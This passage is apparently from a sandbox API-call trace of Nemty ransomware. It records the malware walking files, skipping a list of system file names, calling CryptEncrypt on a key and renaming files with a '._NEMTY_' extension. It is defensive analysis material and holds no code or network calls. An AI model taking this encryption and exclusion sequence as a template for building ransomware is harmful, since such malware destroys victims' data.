hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0124.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0124.705] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0124.706] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot_lrg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.706] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0124.706] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0124.706] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.706] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.715] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.715] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.715] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.724] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.724] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.724] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.734] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.734] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.734] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.744] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.744] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.744] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.753] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.753] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.753] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.762] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.762] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.762] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.779] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.779] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.779] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.800] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.800] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.801] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.810] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0124.822] CloseHandle (hObject=0xffffffff) returned 0 [0124.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0124.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0124.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0124.822] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0124.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0124.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0124.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.822] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot_lrg.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dialdot_lrg.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dialdot_lrg.png._nemty_kgobjgd_")) returned 0 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0124.823] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84291931, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84291931, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x290fa853, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="dial_lrg.png", cAlternateFileName="")) returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2=".") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="..") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="...") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="windows") returned -1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="$RECYCLE.BIN") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="rsa") returned -1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="NTDETECT.COM") returned -1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="ntldr") returned -1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="MSDOS.SYS") returned -1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="IO.SYS") returned -1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="boot.ini") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="boot.ini") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="AUTOEXEC.BAT") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="ntuser.dat") returned -1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="desktop.ini") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="CONFIG.SYS") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="RECYCLER") returned -1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="BOOTSECT.BAK") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="bootmgr") returned 1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="programdata") returned -1 [0124.823] lstrcmpiW (lpString1="dial_lrg.png", lpString2="appdata") returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0124.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_lrg.png", lpUsedDefaultChar=0x0) returned 12 [0124.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0124.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_lrg.png", lpUsedDefaultChar=0x0) returned 12 [0124.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0124.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_lrg.png", lpUsedDefaultChar=0x0) returned 12 [0124.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.823] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0124.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dial_lrg.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dial_lrg.png", lpUsedDefaultChar=0x0) returned 12 [0124.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0124.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0124.824] Sleep (dwMilliseconds=0x5) [0124.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe0cff70, dwHighDateTime=0x1d561e7)) [0124.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfe0cff70, dwHighDateTime=0x1d561e7)) [0124.829] GetLastError () returned 0x5 [0124.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0124.829] GetLastError () returned 0x5 [0124.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0124.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0124.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0124.829] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0124.829] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0124.829] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0124.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401e0 [0124.829] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401e0, pcchString=0x653e91c | out: pszString="jxxKzm5TyWJpFTWU+6rDtgQoVKzwAqnbQO2B7VUDQGTzHwdabsG7GNtsfWJludYM\r\n9/dOTROgLbAzFgLDzzQOho72rBDfMRX8p/0ul1gx9g0uoNrVIniptkFcEWz8K65v\r\nhHVWX1T5L8WHerNVgdsxV0sg2zHl9STiMAnqab1/yIeusLmP+mnE8c77SpzUYHbi\r\nmlZzGkCmmABtpYSiVoo8O/UC6XBdUyXUxNDMxVhMqi6KyhnK0HZoYITiW7GtTMgQ\r\nQd3Rhh808ET2X11XjVKoKwr83MqCxUb8uPIqeF8D7rN04nkxL3YruqFIIyFv2AuM\r\nXzwdk/HHxRuNFomVwbiqKQ==\r\n", pcchString=0x653e91c) returned 1 [0124.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0124.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0124.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0124.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0124.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401e0 [0124.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0124.830] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\CPU.Gadget\\images\\dial_lrg.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\cpu.gadget\\images\\dial_lrg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.832] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0124.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0124.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0124.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0124.859] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0124.859] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 